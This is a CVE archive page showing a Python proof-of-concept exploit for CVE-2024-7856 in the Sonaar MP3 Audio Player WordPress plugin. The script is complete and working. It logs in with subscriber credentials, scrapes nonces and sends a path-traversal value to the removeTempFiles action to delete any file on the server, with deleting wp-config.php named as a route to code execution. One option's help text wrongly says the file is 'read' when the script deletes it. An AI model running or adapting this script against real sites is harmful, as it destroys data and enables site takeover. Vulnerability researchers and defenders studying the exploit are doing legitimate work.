4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-7856.py PY
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
import time
import sys
import re
import rich_click as click

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

banner = r"""                                                                                                                                                      -*#.                                                                   
               ....=*#*.         :+%=.=*                                                                   
              +@**%=--=@#%*.   .##===-:@                                                                   
             :@-------*#..:@ -@+-.  .-=@.                                                                  
           -#-=%#+=-+%=...:-@@%%#*+-. .**                                                                  
           =#:..:*@%*+=-....-=*#:-=+***=@                                                                  
           +#...:=::-=++++*****%:.....:=#*-                                                                
          :#+.:-=*##+-:...................=%=.                                                             
        .#@:-#%+:...........................=@:                                                            
       +#:*#-:...............................:%+                                                           
     .%=.......................................**                                                          
    .%=..............................-.........:%-                                                         
    *+............................+**+..........:@                                                         
   :@........:-::.................:..............%:          ...::....          ...                        
   +*........-+*%%...................:++.........=#        +@@@@@@@@@@@%:  .:*@@@@@@@@#-.   .-+#@@@%#*+:   
   *+...............................=@:..........:@       :@@@@@@@@@@@@@@ .%@@@@@@@@@@@@@. #@@@@@@@@@@@@%  
   *+..........+##:.............:*=:*#%%.........-%       -@@@@@@@@@@@@@@.#@@@@@@@@@@@@@@.+@@@@@@@@@@@@@@- 
   +*.........*:-@@.....:*%###.:@++%=......::::..#*-       -=+*****@@@@@@.#@@@%::::=@@@@@.*@@@@=---*@@@@@- 
   :@.........-#@%+.....##--=@::@=-##...:::::::**@++@:      :------%@@@@@ %@@@%    *@@@@@.#@@@%    -@@@@@- 
 :==%+..................-@=-=@..*##@....::::::@=-=--#=    .#@@@@@@@@@@@@# %@@@@----%@@@@@.#@@@@::::*@@@@@- 
=%-=@%#-::::::::.........:%*#+..@--@....::::::*%+==*%     #@@@@@@@@@@@@@: %@@@@@@@@@@@@@@.*@@@@@@@@@@@@@@: 
+#----=@:::::::::........:::::::@.+#::..::::::@- -++      %@@@@@@@@@@%*.  =@@@@@@@@@@@@@@ =@@@@@@@@@@@@@@. 
 *#+*%%%+::::::::.......=@=-----=+***#@%+...*#            %@@@@#            .-+++++@@@@@@  .=*#%@@@@@@@@@. 
  ::..  -%=:::-++-.:=:.-%::::::::::::::-=@#*:             %@@@@@%%%%%%%%=          %@@@@#          %@@@@%  
         .=#*-@*=+#@+*#+@-::==:::::::::::@*#*             *@@@@@@@@@@@@@+          @@@@@+          %@@@@#  
      .-+++--%%*==----=###%*==**+******#%#+#*              *@@@@@@@@@@@@:          %@@@@-          %@@@@+  
     =%+--:=%=@@**####**%@#............@*%%:                 :=========:           =***=           =###*.  
    =#---:..=%#*.......-@@#...........:@..:#*                                                              
    #-.:@-..*#%-=.......:@**#%@@@%#++=*%-...-%                                                             
  =%@=.:=#%@@#@==%:.....-@**#%%%#**++==-::@.:@                                                             
 -%-+%:---:::-*#.-*#*+*#*.      ...:-*@@#*==%-                                                             
 .@=-+%=-:...:-%=...:::.            :@**%@#-                                                               
  -%=-=##=:..:--@-......          ..:....:#=                                                               
   :%+---*%*---=%.........      .-.......:@.                                                               
     -@*----=*%@*....=%*=-::-=*@%=......+@           Author: EQST(Experts, Qualified Security Team)                                                      
       .=%%*=--**.....::=@#*@*.-+#@%%%%+.            Github: https://github.com/EQSTLab                                                      
          .:-=++#*:...-#+.::.                                                                              
                 :=+++=.                                                                                                                                                                                                                                                                                  
Analysis base : https://www.wordfence.com/blog/2024/09/critical-arbitrary-file-deletion-vulnerability-in-mp3-audio-player-wordpress-plugin-affects-over-20000-sites/

=============================================================================================================    

CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – Missing Authorization to Authenticated (Subscriber+) Arbitrary File Deletion
Researcher: Arkadiusz Hydzik
description: The MP3 Audio Player
 Music Player, Podcast Player & Radio by Sonaar plugin for WordPress is vulnerable to unauthorized arbitrary file deletion due to a missing capability check on the removeTempFiles() function and insufficient path validation on the 'file' parameter in all versions up to, and including, 5.7.0.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files which can make remote code execution possible when wp-config.php is deleted.

============================================================================================================= 
    """

class MP3APExploit:

    def __init__(self, url: str, file: str, id: str, pw: str):
        self.url = url
        self.file = file
        self.id = id
        self.pw = pw
        self.cookie = ''
        self.base_Url = ''
        self.nonces = {}

    def greeting() -> None:
        print(banner)

    def spinner(duration=10, interval=0.1) -> None:
        spinner_chars = ['|', '/', '-', '\\']
        end_time = time.time() + duration
        while time.time() < end_time:
            for char in spinner_chars:
                sys.stdout.write(f'\r[{char}] Exploit loading, please wait...')
                sys.stdout.flush()
                time.sleep(interval)
        print("")

    def getBaseUrl(self, url):
        parsed_url = urlparse(url)
        base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return base_url

    def getLogin(self) -> str:
        id = self.id
        pw = self.pw
        # No id or No pw args
        if not id or not pw:
            print(">>> Please Login:")
            id = input("    ID > ")
            pw = input("    PW > ")

        self.base_Url = self.getBaseUrl(self.url)
        login_Url = self.base_Url +'/wp-login.php'
        
        # Invalid Input
        if not id or not pw:
            print("[-] Invalid input")
            exit()
        
        print(f"[+] Try Login : ID = {id}, PW = {pw}")
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Cookie': 'wordpress_test_cookie=WP%20Cookie%20check'
        }
        data = {
            'log': id,
            'pwd': pw,
            'wp-submit': 'Log In'
        }
        response = requests.post(login_Url, headers=headers, data=data, allow_redirects=False)

        # Invalid try
        if response.status_code != 302:
            print("[-] Login Failed")
            exit()

        cookie_header = '; '.join([f"{cookie.name}={cookie.value}" for cookie in response.cookies])
        self.cookie = cookie_header
        #print(self.cookie)
        print("[+] Login Success")

    def getNonce(self) -> dict:
        self.getLogin()
        nonce_Url = self.base_Url +'/wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_'
        headers = {
            'Cookie': self.cookie
        }
        response = requests.get(nonce_Url, headers=headers)
        res_Text = response.text
        soup = BeautifulSoup(res_Text, 'html.parser')
        try:
            print('[+] Finding nonces')
            script_tag = soup.find('script', {'id': 'sonaar-admin-js-extra'})
            script_content = script_tag.string
            ajax_nonce = re.search(r'"ajax_nonce":"(.*?)"', script_content).group(1)
            ajax_nonce_peaks = re.search(r'"ajax_nonce_peaks":"(.*?)"', script_content).group(1)
        except Exception as e:
            print('[-] Parsing Failed', e)
        self.nonces = {'ajax_nonce': ajax_nonce, 'ajax_nonce_peaks': ajax_nonce_peaks}
        print(f"[+] Nonce Value: {self.nonces}")

    def updateAudioPeaks(self) -> None:
        print('[+] Creating audio_peaks dir')
        ajax_Url = self.base_Url +'/wp-admin/admin-ajax.php'
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': self.cookie
        }
        data = {
            'action': 'update_audio_peaks',
            'nonce': self.nonces['ajax_nonce_peaks'],
            'post_id': '1',
            'media_id': '1',
            'index': '1',
            'file': 'aaa',
            'is_temp': '1',
            'is_preview': '1',
            'preak_file_type': 'aaa'
        }
        response = requests.post(ajax_Url, headers=headers, data=data)
        
    def removeFile(self) -> None:
        print('[+] Removing File')
        ajax_Url = self.base_Url +'/wp-admin/admin-ajax.php'
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': self.cookie 
        }
        data = {
            'action': 'removeTempFiles',
            'nonce': self.nonces['ajax_nonce'],
            'is_temp': '1',
            'file': '/var/www/html/wp-content/uploads/audio_peaks/../../../../../..'+self.file
        }
        response = requests.post(ajax_Url, headers=headers, data=data)
        
    def exploit(self) -> None:
        self.getNonce()
        self.updateAudioPeaks()
        self.removeFile()

# argument parsing with rich_click
@click.command()
@click.option(
    "-u",
    "--url",
    required=True,
    help="Specify a URL or domain for vulnerability detection (Donation-Form Page)",
)
@click.option(
    "-f",
    "--file",
    default="/tmp/test",
    help="Specify the file to read from the server",
)
@click.option(
    "-i",
    "--id",
    default="",
    help="WordPress User ID",
)
@click.option(
    "-p",
    "--pw",
    default="",
    help="WordPress User PassWord",
)

def main(url: str, file: str, id: str, pw: str) -> None:
    MP3APExploit.greeting()
    MP3APExploit.spinner(duration=1)
    Mp3exploit = MP3APExploit(url, file, id, pw)
    Mp3exploit.exploit()

if __name__ == "__main__":
    main()